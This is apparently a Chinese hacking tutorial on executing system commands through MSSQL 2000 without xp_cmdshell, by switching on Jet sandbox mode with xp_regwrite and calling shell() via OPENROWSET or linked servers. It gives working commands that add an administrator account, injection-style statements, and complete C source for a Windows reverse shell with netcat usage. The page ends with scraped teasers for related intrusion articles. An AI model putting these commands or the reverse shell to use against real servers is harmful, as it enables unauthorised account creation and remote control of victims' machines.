不用xp_cmdshell照样执行命令_安全教程

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解决办法:
如果不需要RDS支持,请删除x:\Program Files\Common Files\System\Msadc\msadcs.dll
仅仅修改注册表是不够的,具体看下文详述

当然除了IAS.mdb这个之外,还有其他的mdb文件也可以,只要文件存在即可
2003的system32下就有两个:ias.mdb和dnary.mdb
其他系统你可以dir /a /s *.mdb看一下,如果有新发现,欢迎补充

如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。
出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0   禁止一切(默认)
1   使能访问ACCESS,但是禁止其它
2   禁止访问ACCESS,但是使能其他
3   使能一切

事实上,对有DB_OWNER权限即可执行,但是执行后面一条语句会有不同要求,不能直接执行,详见下面语句解释。

然后利用jet.oledb执行系统命令,这个仅仅需要%SystemRoot%读权限即可,还是比较宽松的,所以危害也就相当高了
对于只有DB_OWNER权限的用户,需要建立链接数据库的方式来进行访问,不允许直接访问,至于是否能访问成功,尚未测试。有兴趣的可以自行测试一下,欢迎补充。
MSDN上说:
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行,而DB_OWNER拥有数据库的全部权限,理论上应该可以成功。

这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

建立链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

验证截图如下(WIN2003 sp1装MSSQL2K sp3环境中的测试效果,使用了sysadmin权限):

附:
无法连接数据库服务器时(数据库一般不对外开放,但一般可以对外访问),
可以使用反弹dos shell方式,改写成bind shell也很容易,呵呵!
====================== CUT here =======================
//name   : win32 connect back shell source code for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage   : 
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,π);
return 0;
}
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:

EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','hacker';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','hacker';--
exec sp_dropserver 'L0op8ack';--
我的sql2k sp3里面sp_addserverlogin后面要带用户名称,加true/false都报无此用户错误

呵呵,不过最终还是失败了

原来的过程也可以注入的,打了sp之后就没有了

摘一段T-SQL参考,实际上这是T-SQL引用异类 OLE DB 数据源的两种方法
openrowset需要sa权限,想用sp_addlinkserver/openquery突破一下,最终发现不能成功
============================================
分布式查询构架
Microsoft SQL Server 2000 支持两种在 Transact-SQL 语句中引用异类 OLE DB 数据源的方法,: 

1) 链接服务器名称 
系统存储过程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于给 OLE DB 数据源提供服务器名称。可以使用由四个部分构成的名称在 Transact-SQL 语句中引用这些链接服务器中的对象。例如,如果链接服务器的名称 DeptSQLSrvr 是用 SQL Server 2000 的另一个复本定义的,下面的语句引用该服务器上的一个表:

SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees

也可以在 OPENQUERY 语句中指定链接服务器的名称以从 OLE DB 数据源打开一个行集。之后,可以在 Transact-SQL 语句中像引用表一样引用该行集。

2) 特殊连接器名称 
在很少引用数据源时,OPENROWSET 或 OPENDATASOURCE 函数是用连接到链接服务器时所需的信息指定的。之后,可以在 Transact-SQL 中使用与引用表相同的方法引用行集:

SELECT *
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
    'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';'';
    Employees)

SQL Server 2000 使用 OLE DB 在关系引擎和存储引擎之间通讯。关系引擎将每个 Transact-SQL 语句分解为一系列操作,这些操作在由存储引擎从基表打开的简单 OLE DB 行集上执行。这意味着关系引擎也可以在任何 OLE DB 数据源上打开简单 OLE DB 行集。
1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 写一个注册表的值,开启Access沙盒模式。也就是可在非Application里执行的功能。
2.用OpenRowSet打开一个Access文件.在%windir%\system32\ias里有4个这样的文件。随便拿来用
3.执行的函数如下
Function Shell(ByVal Command As String) As Long

本文来源于[捌度空间],原文链接:http://www.8-du.net/Article/2008/0514/article_40240.html

时间: 2024-10-21 19:17:57

不用xp_cmdshell照样执行命令_安全教程的相关文章

ASP.NET下使用WScript.Shell执行命令_实用技巧

ASP.NET提供了两种方法让我们使用COM组件:1.Server对象的CreatObject方法:2.将COM组件转化为.NET组件. ·Server对象的CreatObject方法 这个方法比较简单,直接使用就是.当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心.只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了.直接给出代码如下: <!-- Titel: WScript.Shell .NET Version 1 Author: la

SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令_安全相关

首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(

网管必读-常用网络命令_组网教程

网管必读-常用网络命令 如果你玩过路由器的话,就知道路由器里面那些很好玩的命令缩写.例如,"sh int" 的意思是 "show interface". 现在 Windows 2000 也有了类似界面的工具,叫做 netsh.  我们在 Windows 2000 的 cmd shell 下,输入 netsh就出来:netsh> 提示符,输入 int ip 就显示:interface ip> 然后输入 dump ,我们就可以看到当前系统的网络配置:  

sql2005 sa执行命令方法总结_安全教程

一.xp_cmdshell EXEC master..xp_cmdshell 'ipconfig' 开启xp_cmdshell: -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable

CMD命令行高级教程精选合编合集_DOS/BAT

目录第一章 批处理基础第一节 常用批处理内部命令简介1.REM 和 ::2.ECHO 和 @3.PAUSE4.ERRORLEVEL5.TITLE6.COLOR7.mode 配置系统设备8.GOTO 和 :9.FIND10.START11.assoc 和 ftype12.pushd 和 popd13.CALL14.shift15.IF16.setlocal 与 变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION启动或停用延缓环境变量扩展名.)

Ring的权限提升21中方法_安全教程

作者:Nah 文章来源:http://blog.77169.com/more.asp?name=atan19a&id=6866 以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过 的.本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结.希望对朋友有帮助! 1.radmin连接法 条件是你权限够大,对方连防火墙也没有.封装个radmin上去,运行,开对方端口,然后radmin上去 .本人从来米成功过.,端口到是给对方打开了. 2.pcanywhe

如何在MSSQL执行命令

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsE

怎样在MSSQL执行命令

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsE

使用ssh远程执行命令批量导出数据库到本地(转)

  前天正在跟前端的同事调试功能.服务器开好,模拟的玩家登录好,就在倒计时.这时突然运营的同事跑过来说要统计几个服务器玩家的一些情况,也就是需要从几个服的数据库导出部分玩家的数据.好吧,我看了一下时间,11:47.心想,跟前端调试完,去吃个饭再午休一下那就下午再给吧.没想对方来一句"就导个数据库而已,要这么久么?",而且还是直接跟我上司说的.我嚓,好吧,我导.可问题来了,平时的统计是由php做的,批量部署这些是由运维做的.服务端完全没有对应的工具.而且服务器是在阿里云上的,数据库的用户